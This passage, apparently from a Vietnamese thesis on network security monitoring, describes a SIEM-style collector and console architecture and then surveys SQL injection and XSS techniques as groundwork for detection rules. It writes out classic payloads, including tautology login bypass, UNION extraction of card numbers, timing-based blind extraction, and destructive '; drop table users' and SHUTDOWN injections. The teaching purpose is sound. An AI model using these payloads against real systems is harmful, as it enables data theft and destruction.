Hệ thống GSANM phân tán được xây dựng theo quy mô lớn về thiết bị và con người Các EC và FC có thể được đặt ở rất nhiều mạng khác nhau, và năng lực hoạt động của hệ thống được tính toán kỹ lưỡng sao cho khả năng xử lý của các thiết bị đáp ứng được nhu cầu hệ thống mà không bị quá tải Để thu thập nhật ký hệ thống từ các thiết bị hay ứng dụng trước hết EC phải kết nối đến các thiết bị hoặc ứng dụng đó Sau
đó tùy theo các dạng ứng dụng hay thiết bị mà cách cấu hình lấy nhật ký hệ thống sẽ
Trang 22khác nhau Nhưng điều tối thiểu nhất đó là các thiết bị phải được kích hoạt chế độ lưu nhật ký hệ thống
Với các ứng dụng thì các file nhật ký hệ thống đã có định dạng sẵn, chế độ lưu nhật ký hệ thống dễ dàng được kích hoạt và lưu vào một thư mục nào đó trên máy tính
EC sẽ được cung cấp tài khoản, trao quyền truy cập vào thư mục và đọc các nhật ký hệ thống đó, sau đó nhật ký hệ thống này sẽ được chuyển về EC Tuy nhiên, có những thiết bị không cho phép thu thập nhật ký hệ thống như cách trên VD: Firewall Checkpoint, IPS, … thì các thiết bị này luôn có các tính năng ―forward log‖ cho server nên khi cấu hình thu thập nhật ký hệ thống người quản trị buộc phải sử dụng phương pháp này
Đối với FC, thiết bị này sẽ được kết nối vật lý với các switch hỗ trợ span port
và dữ liệu sẽ được gửi về FC thông qua span port Nhật ký hệ thống sau khi được EC
và FC thu thập sẽ được nén, mã hóa và gửi về cho EP và FP tương ứng thông qua giao thức SSH cổng 22, các nhật ký hệ thống này được xử lý tại EP và FP và gửi lên CONSOLE những cảnh báo cần thiết, CONSOLE sẽ hiển thị chúng lên giao diện web thông qua cổng 443
Như vậy hệ thống GSANM phân tán là một quá trình xuyên suốt từ việc thu thập nhật ký hệ thống hay luồng dữ liệu tới EC, FC sau đó nhật ký hệ thống được chuyển tiếp về EP và FP rồi gửi đến CONSOLE và hiển thị lên giao diện web Toàn
bộ quá trình này đều được nén và mã hóa để đảm bảo không bị lộ khi có tấn công xảy
ra Một đặc điểm đáng chú ý khác nữa là khi kết nối giữa các thiết bị được thiết lập thì toàn bộ hệ thống được cấu hình qua thiết bị CONSOLE trên giao diện web hoặc giao diện command line
1.2.3.2 Mô hình hệ thống GSANM hoạt động độc lập (All in one)
Mô hình hệ thống GSANM độc lập chỉ có một thiết bị duy nhất đó là CONSOLE (All in One) Nhật ký hệ thống và luồng dữ liệu được gửi trực tiếp lên thiết
bị này mà không cần thông qua EP, FP, EC, FC CONSOLE có khả năng hoạt động độc lập và có chức năng tương ứng với tất cả các thiết bị kia Do vậy, khi nhật ký hệ thống được gửi về thì CONSOLE sẽ xử lý và trực tiếp hiển thị lên giao diện Web Hệ thống này chỉ thích hợp cho các mạng nhỏ và vừa như các ngân hàng hoặc các doanh nghiệp nhỏ và không cần đầu tư quá lớn về nhân lực và trang thiết bị [6]
Trang 23Hình 1.3: Mô hình hệ thống GSANM độc lập
1.3 Giao diện quản lý của hệ thống GSANM
Giao diện của hệ thống GSANM cơ bản có 07 thành phần chính sau:
Dashboard: Là nơi hiển thị dữ liệu dưới dạng biểu đồ giúp cho các chuyên gia
GSANM có cái nhìn tổng quát về toàn bộ hệ thống được giám sát Việc hiển thị dưới dạng đồ thị trực quan ở thời gian thực rất hiệu quả cho việc GSANM Cấu hình thời gian thực để mô tả các biểu đồ này do người quản trị hệ thống lựa chọn
có thể trong vòng một phút Dữ liệu hiển thị dưới dạng bảng hay biểu đồ tùy thuộc mục đích của người quản trị hệ thống
Hình 1.4: Tap Dashboard
Trang 24 Offenses: Đây là nơi hiển thị các cảnh báo và các nguy cơ có thể bị tấn công, và
quản lý các tập luật cho hệ thống mạng được giám sát Offenses cũng cho phép người quản trị tạo các tập luật mới phù hợp với hệ thống mạng được giám sát Người quản trị có thể tìm kiếm, lọc các cảnh báo tại Offenses theo thời gian, dạng tấn công hoặc theo từng hệ thống mạng cụ thể Việc xử lý hoặc gửi cảnh báo tự động bằng địa chỉ email hay SMS là tính năng không thể thiếu của Offenses Dữ liệu được hiển thị trong phần Offenses có thể được xuất ra dưới dạng file doc, do
đó điều này rất hiệu quả trong việc thực hiện viết các báo cáo
Hình 1.5: Tap Offenses
Log Activity: Là nơi hiển thị nhật ký hệ thống được thu thập từ Event Collector
cho hệ thống mạng được giám sát Các nhật ký hệ thống này được thu thập và lưu trữ tại Event Processor và Flow Processor, sau đó sẽ được gửi lên CONSOLE và hiển thị qua giao diện web tại Log Activity Tại đây, người quản trị có thể theo dõi dòng dữ liệu nhật ký hệ thống theo thời gian thực, do đó giúp cho người quản trị phát hiện các tấn công có thể xảy ra khi kẻ tấn công mới bắt đầu thực hiện dò quét
và tìm kiếm thông tin
Hình 1.6: Tap Log Activity
Trang 25Ngoài ra, đây cũng là nơi giúp cho việc tìm kiếm nhật ký hệ thống cũ được lưu trữ trong hệ thống, thực hiện kiểm tra phân tích nhật ký hệ thống, hay phát hiện và định dạng các loại nhật ký hệ thống mới chưa được định dạng, các trường thông tin quan trọng để tạo các luật mới phù hợp cho hệ thống mạng được giám sát
Network Activity: Tương tự như Log Activity, Network Activity là nơi hiển thị
luồng dữ liệu được gửi về từ Flow Processor và luồng dữ liệu này được phân tích
và kiểm tra tại đây Cũng giống với Log Activity, Network Activity hiển thị luồng
dữ liệu theo thời gian giúp tăng khả năng phát hiện sớm các tấn công vào hệ thống mạng được giám sát So với việc phân tích nhật ký hệ thống thì việc phân tích luồng dữ liệu sẽ vất vả hơn rất nhiều, bởi vì việc định dạng các giao thức và xử lý chúng không đơn thuần như việc xử lý các nhật ký hệ thống được gửi về
Hình 1.7: Network Activity
Asset: Là nơi liệt kê, cập nhật các thiết bị hiện có của các hệ thống mạng được
giám sát, giúp cho việc xác định và phân loại các thiết bị của mạng để tránh các nhầm lẫn khi tạo tập luật, hoặc đưa ra các cảnh báo sai
Hình 1.8: Tap Asset
Trang 26 Report: Là nơi các cảnh báo được tạo ra dưới các dạng file pdf, doc hay html,
tùy theo mục đích tạo báo cáo của người quản trị hệ thống Ngoài ra, Report cũng
có chức năng thống kê dữ liệu hay tổng hợp số liệu theo thời gian mong muốn Người quản trị có nhiều tùy chọn khác nhau để tạo báo cáo, có thể tạo báo cáo theo các phương pháp thủ công, hoặc theo định kỳ và các báo cáo này có thể được gửi định kỳ qua email cho các tổ chức có hệ thống mạng được giám sát Nguồn dữ liệu cung cấp để tạo báo cáo có thể được tổng hợp từ Log Activity, Offenses hay Network Activity tùy vào mục đích của báo cáo
Hình 1.9: Tap Report
Admin: Là nơi cấu hình từ xa cho các thiết bị trong hệ thống, cấu hình thu thập
nhật ký hệ thống, dò quét, forward log cho hệ thống GSANM hay cấu hình truy cập vào các thư mục đọc nhật ký hệ thống của các ứng dụng sẽ được thực hiện tại đây Ngoài ra, việc phân quyền cho hệ thống GSANM trong tab Admin cũng là một trong những chức năng hết sức cần thiết giúp cho việc hiển thị nhật ký hệ thống và luồng dữ liệu ở các hệ thống mạng riêng biệt Tab Admin cũng là nơi tập trung hiển thị và quản lý thông số cho cả hệ thống mạng
Hình 1.10: Tab Admin
Trang 27Tổng kết chương 1
Chương này chúng tôi giới thiệu tình hình giám sát an ninh mạng tại một số nước trên thế giới và Việt Nam Đồng cung cấp mô hình giám sát an ninh mạng đang được sử dụng hiện nay, và mô tả chi tiết các thành phần trong hệ thống giám sát an ninh mạng
Chương II sẽ giới thiệu các kỹ thuật tấn công phổ biến vào ứng dụng Web và một số tấn công vượt qua tường lửa ứng dụng Web để làm cơ sở đưa ra các nhận dạng tấn công cũng như thiết kế tập luật cho hệ thống giám sát an ninh mạng ở các chương III, IV, V
Trang 28CHƯƠNG II: NGHIÊN CỨU MỘT SỐ DẠNG TẤN CÔNG PHỔ BIẾN VÀO
ỨNG DỤNG WEB 2.1 Các kỹ thuật tấn công phổ biến vào ứng dụng Web
2.1.1 Kỹ thuật tấn công Tiêm mã SQL
2.1.1.1 Tổng quan về tấn công Tiêm mã SQL
Tiêm mã SQL là kỹ thuật tấn công dựa vào lỗ hổng của các ứng dụng Web trong quá trình kiểm tra giá trị nhập vào và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để chèn mã khai thác nhằm thực thi các câu lệnh SQL bất hợp pháp Trong đó mã chèn vào được thực thi một cách hợp pháp là do giá trị truyền vào không được lọc, hoặc kiểm soát Khi khai thác lỗ hỗng này thành công, kẻ tấn công có thể insert, update, hoặc delete các giá trị trong bảng cơ sở dữ liệu, hoặc chiếm quyền điều khiển server, Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, My SQL, Oracle, MS Access, …
Khi kẻ tấn công gửi dữ liệu thông qua các form, ứng dụng web sẽ thực hiện và trả về cho trình duyệt kết quả câu truy vấn hay thông báo lỗi có liên quan đến cơ sở dữ liệu Nhờ những thông tin này mà kẻ tấn công biết được nội dung của cơ sở dữ liệu và
từ đó có thể điều khiển toàn bộ hệ thống ứng dụng
Các tấn công có thể được mô tả cụ thể hoá dựa vào mục đích của kẻ tấn công Dưới đây là một số mục tiêu tấn công
Xác định các tham số có thể bị tiêm: Là kiểu tấn công mà hacker muốn
thăm dò một ứng dụng Web để khám phá các tham số và các trường dữ liệu đầu vào có thể tấn công Tiêm mã SQL
Thực hiện tìm fingerprint cơ sở dữ liệu: Là kiểu tấn công mà hacker
muốn khám phá kiểu và phiên bản của cơ sở dữ liệu mà ứng dụng Web đang
sử dụng Đối với mỗi loại cơ sở dữ liệu thì việc hồi đáp các truy vấn theo các cách khác nhau và các tấn công khác nhau, thông tin này có thể được sử dụng để ―fingerprint‖ cơ sở dữ liệu đó Sau khi đã biết được loại và phiên bản của cơ sở dữ liệu được ứng dụng Web sử dụng, kẻ tấn công có thể thực hiện các tấn công cụ thể vào cơ sở dữ liệu
Xác định giản đồ cơ sở dữ liệu: Để trích được dữ liệu từ cơ sở dữ liệu một
cách chính xác, kẻ tấn công thường muốn biết thông tin về các giản đồ cơ
sở dữ liệu, như tên các bảng, tên các cột, và các kiểu dữ liệu Các tấn công
sẽ được tạo ra để thu thập hoặc suy luận các dạng thông tin kiểu này
Trích dữ liệu: Là các kiểu tấn công sử dụng các công nghệ trích dữ liệu từ
cơ sở dữ liệu Phụ thuộc vào các kiểu ứng dụng Web, thông tin này có thể là nhạy cảm mà kẻ tấn công đang cần đến Đây là kiểu tấn công phổ biến nhất của tấn công Tiêm mã SQL
Trang 29 Thêm và sửa dữ liệu: Mục đích của các tấn công này là thêm hoặc thay đổi
thông tin trong cơ sở dữ liệu
Từ chối dịch vụ: Các tấn công dạng này được thực hiện để tắt cơ sở dữ liệu
của ứng dụng Web, do vậy từ chối phục vụ các người dùng khác Các tấn công yêu cầu khoá hoặc xoá các bảng cơ sở dữ liệu
Bỏ qua quá trình xác thực: Mục đích của các kiểu tấn công này là cho
phép kẻ tấn công bỏ qua các cơ chế xác thực cơ sở dữ liệu và ứng dụng Bỏ qua các cơ chế xác thực có thể cho phép kẻ tấn công chiếm được các đặc quyền và các quyền gắn kết với người dùng ứng dụng khác
Thực hiện các lệnh từ xa: Là kiểu tấn công cố gắng thực hiện các lệnh từ
xa trên cơ sở dữ liệu Các lệnh này có thể là các thủ tục, hàm lưu trữ mà người dùng cơ sở dữ liệu có thể thực hiện được
Thực hiện leo thang đặc quyền: Các tấn công dạng này đưa ra lợi thế của
các lỗi thực thi hoặc các sai sót logic trong cơ sở dữ liệu để leo thang các quyền của kẻ tấn công Trái với các tấn công bỏ qua bước xác thực, các tấn công dạng này tập trung vào việc khai thác các quyền người dùng cơ sở dữ liệu
2.1.1.2 Các kiểu tấn công Tiêm mã SQL
a) Tấn công dựa vào tính dư thừa (Tautologies)
Tấn công này thực hiện tiêm mã vào trong một hoặc nhiều câu lệnh điều kiện
để làm cho các câu lệnh này luôn luôn đánh giá là đúng Kết quả của tấn công phụ thuộc vào các kết quả của truy vấn được sử dụng bên trong ứng dụng Kiểu tấn công này thường được sử dụng để vượt qua bước xác thực và trích dữ liệu Kẻ tấn công khai thác trường có thể tiêm mã sử dụng trong điều kiện WHERE của câu truy vấn Biến đổi điều kiện này thành điều kiện không cần thiết làm cho câu truy vấn thực hiện trả lại tất cả các dòng trong bảng cơ sở dữ liệu
Ví dụ: Kẻ tấn công gửi chuỗi “ ‟ or 1=1 - -” tới trường đăng nhập Khi đó câu
truy vấn là:
SELECT accounts FROM users WHERE
login=‟‟ or 1=1 AND pass=‟‟ AND pin=
Đoạn mã được tiêm vào trong điều kiện (OR 1=1) làm biến đổi toàn bộ mệnh
đề WHERE thành một điều kiện thừa Cơ sở dữ liệu dùng điều kiện đó để đánh giá mỗi dòng và quyết định những dòng nào sẽ trả về cho ứng dụng Bởi vì điều kiện WHERE là điều kiện thừa, nên câu truy vấn luôn đánh giá đúng đối với mỗi dòng trong bảng và trả về tất cả các dòng cho ứng dụng Trong ví dụ này tập dữ liệu được
Trang 30trả về khác NULL, nên việc xác thực người dùng đã thành công Bởi vậy ứng dụng thực hiện phương thức displayAccounts() và hiển thị toàn bộ các tài khoản được trả về
b) Kiểu tấn công dựa vào truy vấn trái phép/sai logic
Tấn công này cho phép kẻ tấn công thu thập thông tin quan trọng về kiểu và cấu trúc cơ sở dữ liệu back-end của ứng dụng Web Tấn công này được xem như bước thu thập thông tin, tài liệu để hỗ trợ cho các tấn công khác Kiểu tấn công này đưa ra các lỗ hổng bảo mật dựa vào các trang thông báo lỗi mặc định được trả về từ các server ứng dụng Trong thực tế thông báo lỗi được tạo ra thường liên quan đến các tham số mà kẻ tấn công tiêm vào Ban đầu thông tin lỗi thêm vào dự định hỗ trợ cho lập trình viên gỡ rối ứng dụng, sau này kẻ tấn công sử dụng nó để thu thập thông tin về giản đồ của cơ
sở dữ liệu
Khi thực hiện tấn công này kẻ tấn công cố gắng tiêm các lệnh gây ra lỗi cú pháp, lỗi chuyển đổi kiểu hoặc lỗi logic vào cơ sở dữ liệu Trong đó các lỗi cú pháp có thể được sử dụng để xác định các tham số có thể bị tiêm, các lỗi định kiểu có thể được
sử dụng để suy luận ra kiểu dữ liệu của các cột hoặc để trích dữ liệu, và các lỗi logic thường liên quan đến tên của các bảng và cột
Ví dụ: Kẻ tấn công thực hiện tấn công này nhằm gây ra lỗi khi chuyển đổi kiểu
dữ liệu Để thực hiện điều này, kẻ tấn công tiêm đoạn lệnh sau vào trường pin:
“convert(int,(select top 1 name from sysobjects where xtype=‟u‟))”
Và kết quả của truy vấn sẽ như sau:
SELECT accounts FROM users WHERE login=‟‟ AND
pass=‟‟ AND pin= convert (int,(select top 1 name from
sysobjects where xtype=‟u‟))
Trong chuỗi tấn công này, câu truy vấn cố gắng trích bảng người dùng đầu tiên (xtype=‘u‘) từ bảng metadata của cơ sở dữ liệu Giả sử hệ quản trị cơ sở dữ liệu dùng trong ví dụ này là Microsoft SQL Server, thì các bảng metadata được gọi là sysobjects Sau đó truy vấn này chuyển đổi tên bảng thành một số nguyên Do việc chuyển đổi kiểu này không được phép nên cơ sở dữ liệu sẽ đưa ra thông báo lỗi Đối với Microsoft SQL Server, lỗi này sẽ là ―Microsoft OLE DB Provider for SQL Server (0x80040E07) Error converting nvarchar value ‘CreditCards‘ to a column of data type int.‖
Như vậy kẻ tấn công sẽ thu thập được hai thông tin có ích Đầu tiên, kẻ tấn công có thể biết đây là cơ sở dữ liệu SQL Server Thứ hai thông báo lỗi liên quan đến giá trị của chuỗi gây ra lỗi khi chuyển đổi kiểu Trong trường hợp này, giá trị này là tên của bảng được định nghĩa trong cơ sở dữ liệu là ―CreditCards‖ Sử dụng thông tin
về giản đồ của cơ sở dữ liệu, kẻ tấn công có thể mở rộng các tấn công và mục tiêu là các mẩu thông tin cụ thể
c) Tấn công dựa vào truy vấn kết hợp
Trang 31Kẻ tấn công khai thác các tham số có thể bị tấn công để thay đổi tập dữ liệu được trả về Với kỹ thuật này, kẻ tấn công có thể đánh lừa ứng dụng trả về dữ liệu từ một bảng khác mà không phải từ một bảng mà người phát triển mong muốn Kẻ tấn cống thực hiện điều này bằng cách tiêm một lệnh theo dạng:
UNION SELECT <phần còn lại của truy vấn đã được tiêm >
Kẻ tấn công hoàn toàn kiểm soát truy vấn thứ hai, nên có thể sử dụng truy vấn này để truy xuất thông tin từ một bảng cụ thể Kết quả của tấn công là cơ sở dữ liệu trả lại tập dữ liệu mà là sự kết hợp của kết quả truy vấn thứ nhất và truy vấn thứ hai
Ví dụ: Kẻ tấn công có thể tiêm đoạn đoạn sau:
“‟ UNION SELECT cardNo from CreditCards where acctNo=10032 ”
Vào trường login, và câu truy vấn được tạo ra như sau:
SELECT accounts FROM users WHERE login=‟‟ UNION
SELECT cardNo from CreditCards where
acctNo=10032 AND pass=‟‟ AND pin=
Giả sử rằng không tồn tại đăng nhập với login=―‖, truy vấn thứ nhất trả lại giá trị NULL, trong khi đó câu truy vấn thứ hai trả lại dữ liệu của bảng ―CreditCards‖ Trong trường hợp này, cơ sở dữ liệu sẽ trả lại cột cardNo đối với tài khoản ―10032‖
Cơ sở dữ liệu hợp sẽ kết quả của hai truy vấn này và gửi trả lại cho ứng dụng
d) Kiểu tấn công dựa vào các truy vấn Piggy-backed
Trong tấn công này kẻ tấn công sẽ thử thêm các câu truy vấn mới vào truy vấn ban đầu Tuy nhiên, kẻ tấn công không cố sửa đổi câu truy vấn ban đầu mà thay vào
đó kẻ tấn công tạo thêm các câu truy vấn, tách biệt được mang cùng với truy vấn ban đầu Kết quả là cơ sở dữ liệu nhận nhiều câu truy vấn SQL Đầu tiên là câu truy vấn mong đợi, được thực hiện bình thường; tiếp theo là thực hiện câu truy vấn đã được tiêm vào Kiểu tấn công này có thể là cực kỳ nguy hiểm, nếu thành công kẻ tấn công
có thể chèn bất kỳ lệnh SQL nào, bao gồm các thủ tục lưu trữ và chúng được thực hiện cùng với câu truy vấn ban đầu Lỗ hổng bảo mật đối với kiểu tấn công này thường phụ thuộc vào có việc cấu hình cơ sở dữ liệu cho phép thực hiện nhiều câu lệnh trên một chuỗi đơn
Ví dụ: Nếu như kẻ tấn công nhập thêm
“‟; drop table users - -”
Vào trong trường pass, và ứng dụng sẽ tạo ra truy vấn:
SELECT accounts FROM users WHERE login=‟doe‟ AND
pass=‟‟; drop table users ‟ AND pin=123
Trang 32Sau khi hoàn thành câu truy vấn đầu tiên, cơ sở dữ liệu sẽ nhận biết ký tự kết thúc truy vấn (―;‖) và thực hiện truy vấn thứ hai đã được tiêm vào
Kết quả thực hiện của truy vấn thứ hai sẽ xoá bảng users, làm phá huỷ thông tin
có giá trị trong CSDL Các kiểu truy vấn khác có thể thực hiện chèn người dùng mới vào cơ sở dữ liệu hoặc thực hiện các thủ tục lưu trữ Tuy nhiên nhiều cơ sở dữ liệu không yêu cầu ký tự đặc biệt để tách rời các câu truy vấn đơn lẻ, vì vậy cách ngăn chặn kiểu tấn công này bằng cách quét ký tự đặc biệt là không hiệu quả
e) Tấn công dựa vào thủ tục lưu trữ
Để thực hiện được tấn công này kẻ tấn công sẽ cố gắng thực hiện các thủ tục lưu trữ đang có trong cơ sở dữ liệu Ngày nay, hầu hết trong các cơ sở dữ liệu đều lưu các thủ tục lưu trữ để mở rộng tính năng của cơ sở dữ liệu và cho phép nó tương tác với hệ điều hành Do đó khi kẻ tấn công xác định được cơ sở dữ liệu đang được sử dụng, tấn công Tiêm mã SQL có thể giả mạo để thực thi các thủ tục lưu trữ, bao gồm các thủ tục tương tác với hệ điều hành
Ngoài ra, các thủ tục lưu trữ thường được viết dưới dạng ngôn ngữ kịch bản, do vậy các thủ tục lưu này có thể chứa các lỗ hổng bảo mật khác như: tràn bộ đệm, leo thang đặc quyền,…
Đoạn chương trình sau mô tả một thủ tục thực hiện xác thực người dùng
CREATE PROCEDURE DBO.isAut,henticated
@userName varchar2, @pass varchar2, @pin int
AS
EXEC("SELECT accounts FROM users
WHERE login=‟" +@userName+ "‟ and pass=‟" +@password+
"‟ and pin=" +@pin);
GO
Ví dụ: Trong trường hợp này, các thủ tục lưu trữ được tham số hoá có thể bị
khai thác bởi Tiêm mã SQL Giả sử chuỗi truy vấn được tạo tại dòng 5, 6, 7 của ví dụ được thay bởi lời gọi thủ tục lưu trữ được định nghĩa ở trên Thủ tục này trả lại giá trị đúng/sai để chỉ ra người dùng được xác nhận chính xác Để thực hiện một tấn công Tiêm mã SQL, kẻ tấn công tiêm đoạn:
“ ‟ ; SHUTDOWN; ”
vào trong trường userName hoặc password Khi đó thủ tục sẽ tạo câu truy vấn sau:
SELECT accounts FROM users WHERE
login=‟doe‟ AND pass=‟ ‟; SHUTDOWN; AND pin=
Tấn công này làm việc giống như tấn công piggy-back Truy vấn thứ nhất thực hiện bình thường, sau đó truy vấn nguy hiểm thứ hai được thực hiện, và kết quả của
Trang 33quá trình thực hiện này là tắt cơ sở dữ liệu Ví dụ này chỉ ra rằng thủ tục lưu trữ có thể
bị tấn công giống như các mã lệnh ứng dụng thông thường
f) Tấn công dựa vào sự suy đoán
Trong tấn công này, truy vấn bị sửa đổi nhằm thực hiện các câu trả lời dạng đúng/sai về giá trị dữ liệu trong cơ sở dữ liệu Thông thường kẻ tấn công thử tấn công vào một site mà đã được cho là an toàn ngay cả khi việc tiêm mã thành công và kẻ tấn công không thu được thông tin hữu ích nào trong các thông báo lỗi, do vậy kẻ tấn công
sử dụng các phương khác để nhận câu trả lời từ cơ sở dữ liệu Trong tình huống này,
kẻ tấn công tiêm các câu lệnh vào site và sau đó quan sát chức năng hồi đáp của Website đó thay đổi Bằng việc ghi chép tỉ mỉ khi nào site đó có ứng xử giống nhau và khi nào ứng xử của nó thay đổi và kẻ tấn công có thể suy luận chắc chắn về các tham
số dễ bị tấn công và còn biết các thông tin thêm về các giá trị trong cơ sở dữ liệu Có hai kỹ thuật tấn công đã được biết dựa vào sự suy luận Chúng đều cho phép kẻ tấn công trích dữ liệu từ một cơ sở dữ liệu và phát hiện các tham số có thể bị tấn công
Tiêm mù (Blind Injection): Trong kỹ thuật này, thông tin phải được suy luận
từ ứng xử của trang web bằng cách hỏi server các câu hỏi dạng đúng/sai Nếu như các lệnh đã được tiêm đánh giá là đúng, thì site tiếp tục hoạt động bình thường Nếu như các lệnh đánh giá là sai, mặc dù không có thông báo lỗi mô tả, thì trang web này cũng
có sự khác biệt đáng kể so với các trang web hoạt động bình thường
Tấn công Timing: Tấn công kiểu này cho phép thu thông tin từ cơ sở dữ liệu
bằng cách quan sát độ trễ thời gian trong câu trả lời của cơ sở dữ liệu Tấn công này là rất giống với Blind Injection, nhưng phương pháp suy luận là khác nhau
Để thực hiện tấn công Timing, kẻ tấn công xây dựng câu truy vấn đã được tiêm theo dạng các phát biểu if/then Lần theo mỗi nhánh, kẻ tấn công sử dụng cấu trúc SQL để đưa ra khoảng thời gian thực hiện Ví dụ từ khoá WAITFOR làm cho cơ sở dữ liệu tạm dừng đáp ứng yêu cầu trong khoảng thời gian xác định Bằng cách đo việc tăng, giảm thời gian đáp ứng của cơ sở dữ liệu mà kẻ tấn công có thể suy luận nhánh nào đã thực hiện phần tiêm
Ví dụ: Sau đây minh họa hai cách trong các tấn công dựa vào suy luận có thể
được sử dụng Đầu tiên xác định các tham số có thể bị tấn công, sử dụng Blind Injection
Xem xét 2 cách tiêm có thể vào trường login
Thứ nhất là “legalUser‟ and 1=0 ” và thứ 2 là “legalUser‟ and 1=1 ”
Kết quả trong 2 truy vấn sau:
SELECT accounts FROM users WHERE login=‟legalUser‟
and 1=0 ‟ AND pass=‟‟ AND pin=0
Trang 34SELECT accounts FROM users WHERE login=‟legalUser‟
and 1=1 ‟ AND pass=‟‟ AND pin=0
Bây giờ chúng ta xem xét hai ngữ cảnh
Trong ngữ cảnh đầu, một ứng dụng an toàn và đầu vào đăng nhập được xác nhận chính xác Trong trường hợp này, cả hai cách tiêm đều trả lại các thông báo lỗi đăng nhập, và kẻ tấn công sẽ biết được tham số đăng nhập không thể bị tấn công
Trong ngữ cảnh thứ hai, một ứng dụng không an toàn và tham số đăng nhập bị tấn công do kẻ tấn công thực hiện tiêm đoạn mã vào truy vấn Kẻ tấn công gửi Injection thứ nhất và ứng dụng trả về một thông báo lỗi do nó luôn đánh giá là sai Tuy nhiên, kẻ tấn công không biết được lỗi đăng nhập do việc kiểm tra đầu vào hay do bản thân tấn công đó gây ra Sau đó kẻ tấn công thực hiện tiếp truy vấn thứ hai, mà luôn tạo ra giá trị đúng Trong trường hợp không có thông báo lỗi đăng nhập, kẻ tấn công biết được tấn công đã thực hiện và tham số login là có thể bị tấn công Injection
Suy luận theo cách thứ hai dựa vào tấn công có thể được sử dụng để thực hiện trích dữ liệu Dưới đây trình bày cách sử dụng tấn công suy luận dựa vào timing để trích tên bảng từ cơ sở dữ liệu
Trong tấn công này, tham số login được chèn vào đoạn sau:
„„legalUser‟ and ASCII(SUBSTRING((select top 1 name from
sysobjects),1,1)) > X WAITFOR 5 ‟‟
Và câu truy vấn được tạo ra như sau:
SELECT accounts FROM users WHERE login=‟legalUser‟ and
ASCII(SUBSTRING((select top 1 name from sysobjects),1,1))
> X WAITFOR 5 ‟ AND pass=‟‟ AND pin=0
Trong tấn công này, hàm SUBSTRING được sử dụng để trích ký tự đầu tiên của tên bảng đầu tiên Sử dụng cách tìm kiếm nhị phân, kẻ tấn công có thể hỏi các câu hỏi về ký tự này Trong trường hợp này, kẻ tấn công lựa chọn như giá trị ASCII của ký
tự là lớn hơn hoặc nhỏ hơn giá trị X Bằng cách quan sát thời gian phản hồi kẻ tấn công biết được giá trị này lớn hơn hay nhỏ hơn Kẻ tấn công có thể sử dụng phương pháp tìm kiếm nhị phân bằng cách thay đổi giá trị X để xác định giá trị của ký tự này.[8]
2.1.2 Kỹ thuật tấn công XSS
2.1.2.1 Tổng quan về kỹ thuật tấn công XSS
Cross-Site Scripting hay còn được gọi tắt là XSS là một trong những kỹ thuật tấn công phổ biến nhất hiện nay, đồng thời đây cũng là một trong những vấn đề bảo mật quan trọng mà rất nhiều nhà lập trình, phát triển ứng dụng Web quan tâm XSS là
kỹ thuật tấn công bằng cách chèn vào các Website động (ASP, PHP, CGI, JSP, .) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho người
Trang 35dùng, hoặc kẻ tấn công có thể thực hiện nhúng các thẻ script vào URL và tìm cách lừa người dùng click vào các liên kết này, khi đó mã độc sẽ được thực thi trên máy của nạn nhân Trong đó, những đoạn mã nguy hiểm này thường được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML
Để hiểu rõ hơn về tấn công XSS chúng ta cùng xem xét ví dụ sau đây:
Ví dụ sau mô tả kẻ tấn công đã chèn script vào URL như sau:
http://www.example.com/search.cgi?query=<script>alert('testing for XSS');</script>
Hình 2.1: Ví dụ về một trang Web mua sắm trực tuyến Kết quả trả về của trình duyệt như sau:
Trang 36Hình 2.2: Minh họa trang web có lỗi XSS Mục tiêu tấn công của XSS không hướng đến máy chủ hệ thống mà nhằm vào những người sử dụng Website, khi người dùng vô tình duyệt trang Web có chứa các đoạn mã nguy hiểm do các kẻ tấn công tạo ra nhằm mục đích chuyển người dùng tới các Website khác, đặt lại Homepage, hay ăn cấp mất mật khẩu, cookie hoặc cài các chương trình mã độc như virus, backdoor, worm, … lên máy nạn nhân
Kỹ thuật tấn công XSS chỉ gây thiệt hại đối với Web Client ở phía người dùng trong đó nạn nhân trực tiếp là người dùng duyệt trang Web đó Nguyên nhân của vấn
đề này là do kỹ thuật tấn công XSS sử dụng client-side script, và những đoạn mã này chỉ chạy trên trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống Website ở phía server
2.1.2.2 Các kỹ thuật tấn công XSS
XSS là kỹ thuật tấn công bắt buộc trình duyệt Web của người dùng thực thi mã độc hại Thông thường mã độc hại này được viết bằng HTML hoặc JavaScript và kẻ tấn công thực thi trong trình duyệt Web của người dùng mà không phải trên server Kẻ tấn công chỉ sử dụng các trang Web tin cậy để thực hiện hành vi của họ và người dùng
là nạn nhân trong các cuộc tấn công này Khi kẻ tấn công kiểm soát được các luồng (thread) điều khiển trong trình duyệt Web của người dùng, thì họ có thể thực hiện các hành động như: Account hijacking, keystroke recording, intranet hacking, đánh cắp history của người dùng,… Kỹ thuật tấn công XSS có thể được phân loại như sau:
a) Reflected XSS
Ví dụ rất phổ biến của lỗi XSS xảy ra khi ứng dụng Web sử dụng trang Web động để hiển thị message hay thông báo lỗi tới người dùng Thông thường, các trang này chứa tham số trong chuỗi văn bản của thông điệp, và server chỉ đơn giản gửi văn
Trang 37bản này tới người dùng Cơ chế này thuận tiện cho những nhà phát triển, bởi vì nó cho phép họ gọi trang lỗi đã được tùy biến từ bất cứ đâu trong ứng dụng mà không cần các thông điệp hard-code riêng lẻ trong trang báo lỗi Ví dụ: URL sau sẽ trả lại thông điệp lỗi như hình 2.3 dưới đây:
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occurred
Hình 2.3: Thông điệp lỗi tự động được tạo ra Nhìn vào mã nguồn HTML với page được trả về, chúng ta có thể nhìn thấy ứng dụng chỉ đơn giản copy giá trị của tham số message trong URL và chèn tham số này vào vị trí thích hợp trong trang thông báo lỗi:
<p>Sorry, an error occurred.</p>
Hành động người dùng cung cấp dữ liệu đầu vào và dữ liệu này được chèn vào trong mã nguồn HTML của hồi đáp từ server là một trong những đặc điểm của lỗ hổng bảo mật XSS, và nếu quá trình lọc dữ liệu đầu vào không được thực hiện thì ứng dụng này chắc chắn chứa lỗ hổng bảo mật
